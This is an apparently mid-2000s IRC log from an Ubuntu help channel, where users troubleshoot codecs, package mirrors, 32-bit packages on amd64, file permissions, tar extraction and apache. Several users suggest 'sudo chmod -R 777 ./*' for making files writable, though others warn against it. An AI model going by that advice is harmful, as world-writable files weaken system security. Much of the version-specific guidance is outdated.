[06:39] <oceandead> Arsonide: try doing a sudo apt-get update first?
[06:39] <Arsonide> yeah I did that
[06:39] <oceandead> doh!
[06:40] <EasterSunshine> lancer285, you have a | in your password?!
[06:40] <Arsonide> I'll keep trying mirrors.
[06:40] <funkyHat> * grivell, ^
[06:40] <__filip_> yarrgh now i get that PM again about free webcam sex!
[06:40] <lancer285> Easter No, but when I would try to do |more or something, the key didn't exist. Gnome uses a funky dvorak layout
[06:40] <tommi^> kevko, provide more details
[06:40] <grivell> funkyHat: 1 sec.  I have ubuntu on a usb hd.  chrooting
[06:40] <paganini> Arsonide, you have http://ubuntu-backports.mirrormax.net/ listed in your repositories in Synaptic?
[06:41] <paganini> Because w32codecs shows up there for me.
[06:41] <Arsonide> No, I am trying other mirrors now.
[06:41] <oceandead> same here
[06:41] <kevko> i tried to install one driver but ubuntu said: unknown distribution. no boot scripts installed
[06:41] <tommi^> kevko, no one likes if you shout out and repeat the same text over and over. What driver?
[06:41] <Arsonide> What does Get, Ign, Get, Ign, Get, Ign mean, down the left side?
[06:41] <oceandead> Arsonide:  are you looking in the "All" section?
[06:41] <paganini> You should have main universe multiverse restricted listed in your "selections"
[06:42] <Arsonide> Yeah I do a search
[06:42] <grivell> funkyHat: amarok-xine is in univeral
[06:42] <kevko> tommi: driver for Intel536EP
[06:42] <grivell> funkyHat: universe even :)
[06:42] <tommi^> kevko, everybody got the point when you first wrote that but you really need to tell us more so we can help
[06:42] <kevko>  http://www.ubuntulinux.org/wiki/IntelFiveThreeSixEPModemHowto/
[06:43] <Arsonide> I think it has something to do with the errors going down the left side.
[06:43] <Arsonide> Get Ign, Get Ign, Get Ign.
[06:43] <Arsonide> Hit Hit Hit on the ones that do work.
[06:43] <tommi^> kevko, okay. At what point you get that error?
[06:43] <funkyHat> thanks grivell :)
[06:43] <kevko> tommi: make install
[06:43] <funkyHat> will it now add wma files to it's library?
[06:43] <thoreauputic> Arsonide: it seems the backports are being "ignored" ( tried it here)
[06:43] <lancer285> apokryphos, how do I specify the port range for azureus??
[06:43] <CarlFK> thoreauputic... duh. what were the groups I shoudl add the user to for dialup (what you said has scrolled off my buffer
[06:44] <thoreauputic> CarlFK: dip  and  dialout
[06:44] <CarlFK> thanks
[06:44] <Arsonide> So it's not a problem on my end?
[06:44] <thoreauputic> Arsonide: no
[06:44] <grivell> funkyHat: So you found it?  You have to select it in Amarok's config as well.  And a "Kaffeine-Xine" backend exists as well.
[06:44] <paganini> w32codecs is definitely there.
[06:44] <Arsonide> Any way around it?
[06:44] <paganini> apt-get can read it from my machine.
[06:45] <thoreauputic> Arsonide: the server is misconfigured, or they are changing something - I don't know
[06:45] <oceandead> i can see w32codecs as well
[06:45] <Arsonide> Kaffeine Xine?
[06:45] <tommi^> kevko, good, you are making progress in telling us details. A quick look up at that document doesn't show make install command. Are you sure you are following exactly documentation?
[06:45] <paganini> From my terminal:
[06:45] <tommi^> kevko, and you running the command as a root or with sudo command?
[06:45] <paganini> paganini@CRTBOX:~$ sudo apt-get install w32codecs
[06:45] <paganini> Reading package lists... Done
[06:45] <paganini> Building dependency tree... Done
[06:45] <paganini> w32codecs is already the newest version.
[06:45] <paganini> 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[06:46] <NoUse> !pastebin
[06:46] <ubotu> from memory, pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[06:46] <lancer285> can anyone help me get Azureus working properly??
[06:46] <thoreauputic> paganini: are you using hoary-extras? do you get an "ign" on apt-get update?
[06:46] <oceandead> i get the ign thing too though
[06:46] <thoreauputic> right
[06:46] <kevko> tommi: yes, I am
[06:46] <thoreauputic> oceandead: OK you confirmed it
[06:47] !lilo:*! Restarting the testnet....
[06:47] <paganini> Thoreauputic: Yeah, I do.
[06:47] <paganini> But, my package lists are up to date from the other day.
[06:47] <tommi^> kevko, is that yes, i am  following the documentation or yes, I'm running it as root or sudo?
[06:47] <thoreauputic> so backports is b0rked atm it seems
[06:47] <paganini> It doesn't seem like the actual servers are messed up, just the database listing.
[06:47] <djm62> how is breezy atm? "interesting"?
[06:47] <Arsonide> So what mirror are you guys suggesting for hoary extras?
[06:47] <grivell> funkyHat: Switch engines in Amarok and see if it adds wma to list.  Arts can't play wma.  I think Xine can, but if it doesn't, Gstreamer.
[06:48] <paganini> If you already have mirrormax in your repositories list, w32codecs should still install, I think.
[06:48] <thoreauputic> Arsonide: I tried two - both return "ign"
[06:48] <apokryphos> lancer285: in Tools -> Configuration?
[06:48] <Arsonide> Yeah I tried 3.
[06:48] <EasterSunshine> i need help formatting a ext3fs into a clean empty ext3fs, `cfdisk` returns: FATAL ERROR: Cannot open disk drive
[06:48] <oceandead> unmount it first?
[06:48] <apokryphos> Arsonide: the mirrormax one generally always works
[06:48] <EasterSunshine> oceandead, it is not mounted
[06:48] <Arsonide> So...wait it out?
[06:49] <thoreauputic> apokryphos: it's returning an "ign" on update
[06:49] <apokryphos> thoreauputic: ign?
[06:49] <kevko> tommi: i'm running it like root. i follow the documentation
[06:49] <CarlFK> thoreauputic... user was allready in dip and dialup (default for breezy) which btw is what the "user can connect to the Net via modem" and "user can use modem" check boxes are for in Admin, Users, User Privs
[06:49] <apokryphos> lancer285: tools -> Option, that's it
[06:49] <EasterSunshine> oceandead, and i didn't even specify that disk for cfdisk
[06:50] <paganini> Arsonide, have you tried just downloading the package by itself?
[06:50] <paganini> Like, from an RPM server or something?
[06:50] <lancer285> apok okay. it seems that it lets me TEST the ports. is that telling it which one I wanna use??
[06:50] <paganini> I.e., from another distro?
[06:50] <Arsonide> paganini: I don't know how.
[06:50] <apokryphos> Arsonide: what is it you're trying to get?
[06:50] <cloned> can anyone point me to a step by step guide on how to get and amd x2 chip working 100% under hoary 5.04 none of the posts on the forum are any help for this n00b
[06:50] <funkyHat> grivell, it hasn't added them to my library, i'll try gstreamer
[06:50] <Arsonide> w32codecs
[06:51] <kent> Has any one else noticed that rhythmbox crashes on breezy? (I know its expected on a devel-branch..)
[06:51] <CarlFK> thoreauputic - so is pup/pdown the next thing I should try?
[06:51] <oceandead> i switched back from breezy after some testing
[06:51] <thoreauputic> CarlFK: umm  -  pon / poff
[06:51] <apokryphos> Arsonide: did you add    deb http://ubuntu-backports.mirrormax.net/ hoary-extras main universe multiverse restricted
[06:51] <CarlFK> thoreauputic - that explains why I couldn't find pup
[06:51] <thoreauputic> heheh
[06:51] <CarlFK> no pong either...
[06:52] <funkyHat> i played about with gtk-qt and decided i didn't like it so i got rid of it, it broke stuff but i eventually got round most of it, but now some of my fonts are huge. how can i fix it?
[06:52] <funkyHat> (it's not in fonts preferences, i've tried that)
[06:52] <paganini> Arsonide, go here
[06:52] <paganini> http://ubuntu-backports.mirrormax.net/dists/hoary-extras/restricted/binary-i386/
[06:52] <apokryphos> funkyHat: in KDE?
[06:52] <paganini> You can download it by hand.
[06:52] <funkyHat> apokryphos, no, i use gnome
[06:52] <Arsonide> apokryphos: That mirror is broken it seems.
[06:52] <paganini> then you can do sudo apt-get install ~/w32codecs I think
[06:52] <thoreauputic> CarlFK: if you specified a provider, it's  pon <providername> without the  <>
[06:52] <tommi^> kevko, I'm not sure what could be causing that. Have tried doing it again from clean directory? Also, you really need to learn to help yourself. 1) Provide more information 2) Be accurate 3) Don't repeat yourself 4) DONT SHOUT - you'll get kicked and nobody wants to help ya.
[06:52] <apokryphos> funkyHat: the gtk-qt package doesn't touch what gtk apps look like in gnome
[06:52] <EasterSunshine> can i just rm -rf the root of an ext3 drive and expect it to be as if it was formatted?
[06:52] <lancer285> apok Azureus keeps saying I have updates to install, but it won't install them
[06:52] <apokryphos> Arsonide: works fine, it seems.
[06:53] <apokryphos> lancer285: ok, ignore the updates for now then
[06:53] <paganini> You might need to use dpkg. I'm not sure about installing from local packages.
[06:53] <lancer285> apok okay
[06:53] <Arsonide> I dunno that's what thoreauputic told me.
[06:53] <funkyHat> well either way... my fonts are big and i want them smaller :(
[06:53] <apokryphos> lancer285: also, <tab> shouldn't do anything with your mouse in IRC... it's used to autocomplete nicks
[06:53] <apokryphos> I'm sure xchat does it by default
[06:53] <lancer285> apok test
[06:53] <apokryphos> apok<tab> ....then type
[06:54] <Angel-SL> apokryphos:
[06:54] <lancer285> apok I do get an error when I open Xchat saying 'unable to load the key bindings'
[06:54] <apokryphos> ta-da!
[06:54] <apokryphos> Not sure if that could affect it; don't use xchat, but I know that should work by default
[06:54] <thoreauputic> Arsonide: for w32codecs, paganini 's suggestion should work - download it manually, then use  sudo dpkg -i w32codecs
[06:54] <Angel-SL> apok<TAB>
[06:55] <Arsonide> Alright, thanks.
[06:55] <Arsonide> Still not sure what exactly is wrong with the mirrors. apokryphos says they work
[06:55] <apokryphos> Arsonide: what error do you get?
[06:55] <Arsonide> No errors, it just ignores the files and moves on.
[06:56] <lancer285> apok I dunno, I'm trying to do it just like I would in a terminal, but it keeps selecting the side bar
[06:56] <thoreauputic> apokryphos: I think the packages file is broken
[06:56] <apokryphos> Arsonide: ignores... saying what?
[06:56] <apokryphos> thoreauputic: it would surely say so, then.
[06:56] <paganini> Hey, does Ubuntu have built-in LT Winmodem support?
[06:56] <oceandead> ha
[06:57] <Arsonide> dpkg: error processing w32codecs_20050216-0.0_i386.deb (--install):
[06:57] <Arsonide>  package architecture (i386) does not match system (amd64)
[06:57] <CarlFK> wow - "modem monitor" uses about 20% of my P2-333's cpu.  Is there a way I can get stats on something like that over some amount of time? (like a min or 2)
[06:57] <Arsonide> Forgot my system was 64 bit :/
[06:57] <Arsonide> lol
[06:57] <apokryphos> Arsonide: that is an error :)
[06:57] <CarlFK> paganini - sortof
[06:57] <thoreauputic> apokryphos: when you do "apt-get update" it returns "Ign: <url here> "
[06:57] <apokryphos> that pacakge isn't available for amd64, but......
[06:57] <apokryphos> !w32codecs
[06:57] <EasterSunshine> CarlFK, do `top` in a terminal
[06:57] <CarlFK> paganini - it is in either restricted or universe
[06:57] <apokryphos> gah
[06:57] <apokryphos> Arsonide: See: http://ubuntuforums.org/showthread.php?t=54399
[06:57] <thoreauputic> Arsonide: oh dear
[06:58] <paganini> oceandead: I used to do that. Until I spent $80 on a "real" USR modem that refuses to connect above 31.2, when my winmodem negotiats 56k connections every time.
[06:58] <paganini> Carl: How bad is "sort of?"
[06:58] <CarlFK> EasterSunshine - thats where I saw "20% perl" but it was jumping around from 15 to 35 - so I was wondering what it was
[06:58] <oceandead> yeah luckily i have an external serial usr
[06:58] <Arsonide> thoreauputic: was that my problem?
[06:58] <thoreauputic> Arsonide: the "32" in w32codecs is a bit of a giveaway, isn't it
[06:58] <CarlFK> paganini - "sort of" = you need to do stuff
[06:58] <paganini> Sort of, as in, it says it works, but when you actually try to install it it doesn't install the device? (That's what it's doing with my smartlink modem ATM)
[06:59] <oceandead> itd still be nice to get the built in modem working but
[06:59] <Arsonide> Well I assumed it worked kind of like Windows does.
[06:59] <oceandead> i think the farthest ive gotten was i got it to dial out n such - but wouldnt connect
[06:59] <Arsonide> It's 32 bit
[06:59] <paganini> Someone needs to invent a LINMODEM
[06:59] <paganini> You know, costs around $5, connects at 56k as soon as you plug it in.
[06:59] <apokryphos> Arsonide: check the link I gave you; it provides a workaround
[07:00] <Arsonide> I know, looking at it now - will I have this problem a lot?
[07:00] <apokryphos> what problem exactly?
[07:00] <EasterSunshine> $ fdisk /dev/hda gives me Unable to open /dev/hda
[07:00] <apokryphos> packages only for i386?
[07:00] <Arsonide> Yeah
[07:00] <apokryphos> Main problem is flash and w32codecs, really...
[07:00] <sorush20> guys I keep getting this error can someone help me fix it..sam@ubuntu:~$ dmesg | tail APIC error on CPU0: 40(40)
[07:00] <apokryphos> not enough to put me off in the slightest, at least. :)
[07:01] <Arsonide> The next 6 month update carry any hope?
[07:01] <oceandead> hda# ?
[07:01] <black_13> how do add the union fs kernel module to a 2.6 kernel
[07:01] <apokryphos> Arsonide: for flash: no; for w32codecs -> who knows.
[07:01] <thoreauputic> paganini: it's called Second Hand Serial Modem on ebay ;-)
[07:01] <EasterSunshine> oceandead, still same errer
[07:01] <oceandead> eh - try qparted
[07:02] <apokryphos> oceandead: gparted
[07:02] <lancer285> apokryphos, it was the key bindings (:
[07:02] <apokryphos> (well, or qtparted)
[07:02] <lancer285> apokryphos,  apokryphos
[07:02] <paganini> Hehe toreauptic!
[07:02] <lancer285> woot
[07:02] <oceandead> meant qt, sorry
[07:02] <apokryphos> lancer285: excellent :)
[07:02] <apokryphos> lancer285: what did you alter?
[07:02] <lancer285> apokryphos, all my permissions in my .xchat2 dir were set to 501 (from mandrake)
[07:03] <apokryphos> ah
[07:03] <oceandead> geez, ya miss one letter ...
[07:03] <lancer285> apokryphos, I just had to do a chown on those dirs
[07:03] <oceandead> ;)
[07:03] <apokryphos> oceandead: in the ghetto dat wud get u shot innit
[07:03] <oceandead> hahaha
[07:03] <apokryphos> lancer285: you should own everything in your ~
[07:03] <lancer285> EasterSunshine, did you get the dvorak layout working?
[07:03] <EasterSunshine> lancer285, haven't restarted yet
[07:04] <lancer285> apokryphos, for some reason, I've had to go in and manually change from 501 to lancer285 on most of my dirs as needed
[07:04] <apokryphos> lancer285: did you do a recursive chown?
[07:04] <apokryphos> chown -R lancer285:lancer285 ~
[07:04] <Arsonide> bash: totem-xine: command not found (after I ran sudo apt-get install xine-ui ; totem-xine)
[07:05] <lancer285> apokryphos, when in my /home/lancer285 I did: sudo chown -R lancer285:lancer285
[07:05] <Arsonide> I assume that means I'm about to embark upon another 3 hour long quest.
[07:05] <thoreauputic> Arsonide: just type "totem"
[07:05] <lancer285> apokryphos, it did MOST of the files and dirs, but not all for some reason
[07:05] <apokryphos> Arsonide: totem-xine is something for totem to use xine, IIRC. Not an executable.
[07:05] <Arsonide> I'll assume it is working and move on.
[07:05] <thoreauputic> Arsonide: when totem starts, go to "about" and you'll see it's totem-xine
[07:05] <ohphracku> i like gxine
[07:05] <apokryphos> lancer285: with ./*  on the end right?
[07:06] <AristoMagnus> http://www.linux-watch.com/news/NS8124627492.html  Nice one :P
[07:06] <funkyHat> these massive fonts are more than a little bit annoying now
[07:06] <lancer285> apokryphos, no, haha, thats prolly the prob (::
[07:06] <lancer285> apokryphos, I just did that, it seemed to work (:
[07:06] <funkyHat> the one i'm typing in in X-Chat is one (the room is big though, and all the text in gnome-panel
[07:07] <EasterSunshine> an empty ext3 is 334 megs?
[07:07] <apokryphos> cool
[07:07] <charlesg3> I'm having a bit of trouble with the nvidia driver and breezy
[07:07] <thoreauputic> Arsonide: if that was your actual apt-get command, it's wrong BTW
[07:07] <ginvent> Can someone help me get my .htaccess working. I saw on google a fix, but it didn't work.
[07:07] <AristoMagnus> charlesg3: recompile the module with the nvidia-source
[07:07] <EasterSunshine> i mean like there is nothing on it, but df says 33 megs used and gparted says 334 megs used
[07:08] <thoreauputic> Arsonide: sudo apt-get install totem-xine && totem
[07:08] <sorush20> which linux distro supports sony handycams
[07:08] <charlesg3> so I use apt-get install nvidia-source? where does it put it...in /usr/src/linux?
[07:08] <AristoMagnus> yep
[07:08] <AristoMagnus> nvidia-glx-source i think
[07:08] <AristoMagnus> search with apt-cache search nvidia
[07:09] <charlesg3> nvidia-kernel-source
[07:09] <lotusleaf> I'm compiling k3b 0.12.3 on a Ubuntu Hoary box and following ./configure it says 'Resmgr support: no', how do I enable this? I couldn't find resmgr at packages.ubuntu.com, should I install the debian package from here?: http://packages.debian.org/unstable/admin/resmgr
[07:09] <AristoMagnus> yep
[07:09] <AristoMagnus> thats correct
[07:09] <AristoMagnus> nvidia-kernel-source
[07:10] <apokryphos> lotusleaf: why compiling?
[07:10] <thoreauputic> lotusleaf: any particular reason yo are compiling it?
[07:10] <thoreauputic> apokryphos: heh
[07:10] <lotusleaf> apokryphos + thoreauputic: because I want the latest version of k3b which isn't backported yet :)
[07:10] <thoreauputic> OK
[07:10] <lotusleaf> do I need resmgr?
[07:10] <lotusleaf> or will it compile and work well without it?
[07:10] <apokryphos> lotusleaf: did it error out after that/
[07:11] <lotusleaf> apokryphos, I haven't make && make install yet
[07:11] <Arsonide> tar: /usr/lib/win32: Not found in archive
[07:11] <Arsonide> tar: Error exit delayed from previous errors
[07:11] <Arsonide> I just made the directory, what gives.
[07:11] <apokryphos> !find resmgr
[07:11] <ubotu> Ubuntu Search of 'resmgr' (1 shown): (/usr/share/selinux/policy/default/macros/program/resmgrd_macros.te) in universe/admin/selinux-policy-default.
[07:11] <apokryphos> hm, seems to only be in breezy
[07:11] <geneo93> anyone know if breezy is going to move to 2.6.13 kernel
[07:11] <apokryphos> lotusleaf: well, did the configure fail?
[07:11] <apokryphos> geneo93: probably not, it only just came out ;-)
[07:11] <lotusleaf> apokryphos, no :) I was just curious if I needed that, since it sounded important
[07:12] <lotusleaf> apokryphos, could this be backported?
[07:12] <funkyHat> geneo93, probably not, ubuntu releases are nearly all stable software
[07:12] <thoreauputic> geneo93: 2.6.12 afaik
[07:12] <apokryphos> lotusleaf: ./configure should give several things that says :no for, doesn't it?
[07:12] <apokryphos> lotusleaf: unlikely; it will definitely be for breezy though
[07:12] <lotusleaf> apokryphos, thanks for checking ; yes it says a few no's but when I googled for resmgr it sounded very important
[07:13] <lotusleaf> apokryphos, my guess is that I don't need it? :)
[07:13] <apokryphos> if the configure didn't fail -- then no.
[07:13] <lotusleaf> apokryphos, very well, thanks for your help! :)
[07:13] <thoreauputic> lotusleaf: if it compiles, great - if it runs, even better ;-)
[07:13] <lotusleaf> thoreauputic, thanks, and thank you for your help! :)
[07:13] <lancer285> apokryphos, my upload speed is about 94K, but my download is only 50K. I've had it as fast as 150K w/ other clients. Any ideas??
[07:13] <thoreauputic> np
[07:14] <apokryphos> lancer285: of course it depends on the torrent, how long you've been connected, active peers etc
[07:14] <Arsonide> Extracting them using the gui says I don't have permission, extracting them with terminal brings up another cryptic error.
[07:14] <apokryphos> lancer285: check that your upload speed isn't choking the download, too
[07:14] <lancer285> apokryphos, okay.
[07:15] <apokryphos> lancer285: I've had as fast as 600Kb/s, so it's not a restriction from the client, at least ;-)
[07:15] <lancer285> apokryphos, okay.
[07:15] <geneo93> Linux ubuntu 2.6.12-7-686-smp #1 SMP Fri Aug 19 13:27:27 UTC 2005 i686 GNU/Linux  thats what i have now
[07:16] <unvs_> is kernelupgrading with ubuntu a pain in the neck or relatively painless?
[07:16] <ezerhoden> Arsonide, what are you extracting and what command are you using?
[07:17] <Arsonide> I'm extracting a tar with the codecs in it to /usr/lib/win32, command I'm using is... sudo tar jxvf essential-20050412.tar.bz2 /usr/lib/win32
[07:17] <paganini> I think you need tar -jxvf
[07:17] <paganini> ;)
[07:17] <geneo93> unvs_:  look in backports
[07:18] <ginvent> Anyone use apache2?
[07:18] <Stormx2> How do I CHMOD all files in a directory to 777?
[07:18] <AristoMagnus> 2.6.12 is now stable?
[07:18] <ginvent> I need help setting up my .htaccess
[07:18] <Arsonide> tar: /usr/lib/win32: Not found in archive
[07:18] <charlesg3> chmod -R 777 ./*
[07:18] <Arsonide> After adding the - paganini
[07:18] <Stormx2> cheers
[07:18] <AristoMagnus> dont do that !
[07:18] <paganini> Hmm.
[07:19] <thrush> Stormx2, that would be bad
[07:19] <geneo93> 2.6.13 is stable
[07:19] <darkheart> paganini You don't need - for tar switches
[07:19] <paganini> Darkheart, really?
[07:19] <slibs> hi
[07:19] <paganini> That is cool.
[07:19] <charlesg3> yeah it works iwth the - anyway
[07:19] <ezerhoden> does that directory already exist?
[07:19] <darkheart> paganini Yeah, tar xvjf is same as tar -xvjf
[07:19] <ezerhoden> Arsonide, does that directory already exist?
[07:19] <paganini> Nifty
[07:19] <vices> i'm trying to change my resolution but all it shows is 640x480, does anyone have any suggestions on how to fix this?
[07:19] <darkheart> paganini Kinda like ps =)
[07:19] <Arsonide> yeah I used mkdir
[07:20] <Arsonide> I went in with the file browser and opened it to make sure.
[07:20] <paganini> BTW, I'm not that familiar with the decompression tools, but don't you need to use gzip on a bz2 file bfore you can untar it?
[07:20] <darkheart> Arsonide What error are you getting? Why don't you cd to the dir you want to extract into, then just run tar xjvf /path/to/essential*.bz2
[07:20] <slibs> i started hl2, and right when it was starded my friend send me a flash file he made, so hl2 minimized somewhere, now i can hear the game sounds, but i have no clue how to get it back, do i have to restart the hole steam, or can i go back with some handy shortcut or something?
[07:20] <charlesg3>  the j switch does the bz2 part of it
[07:20] <paganini> Cool.
[07:20] <Stormx2> OK, How do I CHMOD All files in a directory and subdirectories?
[07:20] <slibs> whole*
[07:20] <Stormx2> (to 777)
[07:20] <ezerhoden> man tar
[07:21] <Arsonide> I'll try that darkheart
[07:21] <Arsonide> sec
[07:21] <darkheart> Stormx2 chmod -R 777 *
[07:21] <charlesg3> Stormx2, like i said earlier chmod -R 777 ./*
[07:21] <Stormx2> I did that
[07:21] <darkheart> Stormx2 Be careful with that though..You can break things like that.
[07:21] <Stormx2> but it didn't work on the files in the subdirectories.
[07:21] <AristoMagnus> -R is for recursive
[07:21] <Stormx2> ....
[07:21] <Arsonide> That did it darkheart.
[07:21] <AristoMagnus> it should goes to the subdir
[07:21] <Stormx2> gah
[07:21] <charlesg3> Stormx2, it should have worked, unless you don't have permissions
[07:21] <paganini> Stormx2, did you do sudo?
[07:21] <Stormx2> I'll try it again.
[07:21] <Stormx2> paganini: No ^_^
[07:22] <paganini> sudo chmod -R 777 ./* will do it to all files.
[07:22] <paganini> But... be carefull.
[07:22] <vices> what's a good default text editor on ubuntu?
[07:22] <darkheart> vices GUI or CLI?
[07:22] <vices> CLI
[07:22] <charlesg3> nano
[07:22] <paganini> nano is cool.
[07:22] <charlesg3> emacs, vi
[07:22] <darkheart> vices I use vi, but there is nano, pico, and other.
[07:22] <Arsonide> is there any way to move the files up to the parent directory in terminal? The file browser says I don't have permission (why is it even there if you can't use it for anything lol)
[07:22] <paganini> vim is powfull, but harder to get the hang of.
[07:22] <slibs> anyone? how to get minimized game back?
[07:22] <vices> thanks, i'll check out vi, for some reason emacs didn't work
[07:23] <ezerhoden> Arsonide, mv is the move command
[07:23] <darkheart> vices emacs is a little too much imo...it's more than just a text editor...it's almost an OS =P
[07:23] <AristoMagnus> lol
[07:23] <AristoMagnus> true
[07:23] <paganini> Yeah, hehe!
[07:23] <Arsonide> I did sudo mv *.* ..
[07:23] <Arsonide> seems to work.
[07:24] <AristoMagnus> want a easy editor, use nano
[07:24] <AristoMagnus> it work great
[07:24] <darkheart> Arsonide *.* will only move files with extensions..not folders or files with no extension.
[07:24] <Arsonide> yeah it didn't move the readme
[07:24] <slibs> can you guys see my text or what, why im being ignored?
[07:24] <Arsonide> How do I delete this directory now?
[07:24] <AristoMagnus> rm -rf
[07:24] <darkheart> Arsonide If you want to move everything then 'sudo mv * ../'
[07:24] <ezerhoden> rmdir if its empty
[07:24] <AristoMagnus> rm -rf  theDir
[07:25] <Arsonide> There.
[07:25] <Arsonide> Next step.
[07:25] <AristoMagnus> ;)
[07:26] <vices> it says my xorg.conf is readonly, is there a -cmd to change that?
[07:26] <wojciechg> Hi everyone. I just installed ubuntu on my laptop, but have no "laptop" options. Is there a package I need to install to get info on my battery, etc?
[07:26] <AristoMagnus> use sudo to edit it
[07:26] <paganini> vices, you don't want to change that.
[07:26] <AristoMagnus> vices: use sudo to edit it
[07:26] <paganini> You want to do sudo gedit /etc/xorg.conf
[07:27] <AristoMagnus> its /etc/X11/xorg.conf
[07:27] <paganini> Uh, right.
[07:27] <vices> thanks
[07:27] <paganini> *headdesk*
[07:27] <Arsonide> There is no .xine configuration folder.
[07:28] <Arsonide> Ah there, I opened xine and it saved one
[07:28] <paganini> Is there any reason to use XINE instead of TOTEM?
[07:28] <AristoMagnus> use gxine
[07:28] <vices> sudo gedit gets me a GTK error
[07:28] <AristoMagnus> its nice
[07:29] <vices> cannot open display
[07:29] <oceandead> nano
[07:29] <AristoMagnus> u cannot open X windows in root
[07:30] <thoreauputic> AristoMagnus: gxine crashes here if I try top run it fullscreen - totem-xine doesn't
[07:30] <vices> is gedit a GUI editor?
[07:30] <darkheart> vices yes
[07:30] <AristoMagnus> thoreauputic: ok!
[07:30] <thrush> slibs, are you using gnome?
[07:30] <AristoMagnus> g stand for gnome (libraries == GTK)
[07:30] <ginvent> What does this mean: (98)Address already in use: make_sock: could not bind to address [::] :80
[07:30] <ginvent> no listening sockets available, shutting down
[07:30] <ginvent> Unable to open logs
[07:30] <thoreauputic> AristoMagnus: a pity, because gxine is quite nice otherwise
[07:31] <ginvent> When I run apache2
[07:31] <AristoMagnus> yep
[07:31] <AristoMagnus> totem is great too
[07:31] <NoUse> ginvent something is already using the HTTP port
[07:31] <din> mplayer > *
[07:31] <paganini> For some reason, all my DVDs looked really bad in xine, and they look great in totem.
[07:31] <paganini> Haven't figured that one out yet. Some weird setting I guess.
[07:32] <slibs> thrush, yes
[07:32] <slibs> also i'd like to know how to start games not in fullscreen mode
[07:33] <sorush20> how do I fix this error APIC error on CPU0: 40(40)
[07:33] <xlman> Hello. Sorry. Exist any  irc chat in spanish about ubuntu?
[07:34] <NoUse> !spanish
[07:34] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, alli obtendran mas ayuda.
[07:34] <thrush> slibs, when you alt-tab or look in taskbar the app isnt showing up?
[07:34] <AristoMagnus> NoUse: check with ps if apache or httpd runs
[07:34] <Arsonide> Ok well, totem still can't open anything - but xine can.
[07:34] <Arsonide> :)
[07:34] <xlman> MUchas gracias! Adios!
[07:34] <Arsonide> So far I've tested an avi and a mov file.
[07:34] <chrissturm> how do i best defragment an ext3 partition?
[07:34] <NoUse> AristoMagnus its ginvent that is having the problem, not me
[07:34] <AristoMagnus> Arsonide: its a codecs problem,
[07:34] <paganini> Arsonide, you might need to install the totem-xine package.
[07:35] <paganini> I think totem uses gstreamer by default.
[07:35] <AristoMagnus> :ginvent check with ps if apache or httpd runs
[07:36] <jfosa> fantastic
[07:36] <thoreauputic> chrissturm: you don't need to
[07:36] <Arsonide> awesome totem-xine did it
[07:36] <Arsonide> (I don't like xine that much anyway)
[07:36] <paganini> :)
[07:36] <chrissturm> thoreauputic, i was just waiting for someone to say that. but its not really correct
[07:37] <vices> ubuntu looks really nice
[07:37] <Arsonide> vices: don't be fooled!
[07:37] <Arsonide> lol j/k
[07:37] <AristoMagnus> its the best desktop distro ever, i think
[07:37] <thoreauputic> chrissturm: I haven't defragged a linux filesystem, ever
[07:37] <chrissturm> do i need to copy all files do a different partition and back again?
[07:37] <vices> is the red text when someone says vices: a feature of xchat?
[07:37] <Arsonide> Yeah
[07:37] <darkheart> vices Highlighting..you can edit the options in the option menu =P
[07:37] <thoreauputic> chrissturm: I'm interested to hear why you need to defrag?
[07:38] <vices> xchat is pretty nice :)
[07:38] <chrissturm> thoreauputic, i copied a lot of files to a partition until it was full
[07:38] <vices> what's the command to change my root password?
[07:38] <paganini> These smartlink modem driver sources say that I need the full kernel source tree downloaded and configured for it to work.
[07:38] <paganini> What exactly does "configured" mean?
[07:38] <paganini> I don't use custom kernels.
[07:38] <geneo93> fschk
[07:38] <chrissturm> thoreauputic, once a partition is full the files are guaranteed to be fragmented
[07:39] <deflux-> I'm installing Ubuntu Hoary on my Mac Mini, and it appears that the keyboard mapping is wrong (I can't switch VTY's, can't CTRL+BREAK, etc).
[07:39] <vices> #ubuntu test
[07:39] <deflux-> Not sure how to change the keyboard mapping, how would I do this?
[07:39] <geneo93> paganini:  the one that matches the kernel your using
[07:39] <thoreauputic> chrissturm: OK - I bow to your knowledge :) I haven't come across the problem before
[07:40] <paganini> I'm using 2.6.10-5-686
[07:40] <Arsonide> MP3!
[07:40] <Arsonide> YAY
[07:40] <paganini> And I have the "linux image" and "linux source" packages installed.
[07:40] <paganini> Is that all I need to do?
[07:41] <chrissturm> thoreauputic, :) i know that ext3 is quite good regarding fragmentation, but this is a slow notebook harddisk.
[07:41] <Arsonide> The Application "totem" has quit unexpectedly.
[07:41] <Arsonide> :(
[07:41] <mpmc> How do I install QT?
[07:41] <thoreauputic> chrissturm: if I remember correctly there's a program called " defrag " for ext2 - so maybe you can disable the journal and use that?
[07:41] <geneo93> paganini:  you may need to expand the kernel source
[07:42] <chrissturm> thoreauputic, is it in universe?
[07:42] <funkyHat> mpmc, sudo apt-get install qt
[07:42] <thoreauputic> !info defrag
[07:42] <ubotu> defrag: (ext2, minix and xiafs filesystem defragmenter), section universe/admin, is extra. Version: 0.73pjm1-7 (hoary), Packaged size: 66 kB, Installed size: 208 kB
[07:42] <chrissturm> thx alot!
[07:42] <thoreauputic> chrissturm: yup :)
[07:42] <funkyHat> sorry, that's wrong mpmc ;)
[07:42] <apokryphos> mpmc: QT (quicktime) or Qt (the Q-toolkit)?
[07:43] <apokryphos> I guess you probably want the Qt-includes, too...
[07:43] <mpmc> http://www.last.fm/forum/21714/_/47701
[07:43] <mpmc> no idea :P
[07:43] <mpmc> I'm trying to get the last.fm player to work
[07:44] <Frafra> hi all
[07:44] <funkyHat> mpmc, sudo apt-get install libqt3c102-mt
[07:44] <ginvent> How do I figure out what is doing this: (98)Address already in use: make_sock: could not bind to address [::] :80
[07:44] <thoreauputic> chrissturm:  tune2fs I think ( to change the journal)
[07:44] <Frafra> how to install winmodem drivers?
[07:44] <apokryphos> barely understand what's happening there. If they're referring to Qt, then qt 3.x is hardly bleeding edge
[07:44] <apokryphos> !qt
[07:44] <ubotu> apokryphos: I don't know, could you explain it?
[07:44] <ginvent> lsof what?
[07:45] <apokryphos> gah
[07:45] <apokryphos> !qt #del#
[07:45] <ubotu> Qt is the Q-toolkit. Qt is to KDE what GTK is to GNOME. For the Qt includes, install the libqt3-mt-dev package
[07:45] <thoreauputic> apokryphos: no prizes for guessing ;)
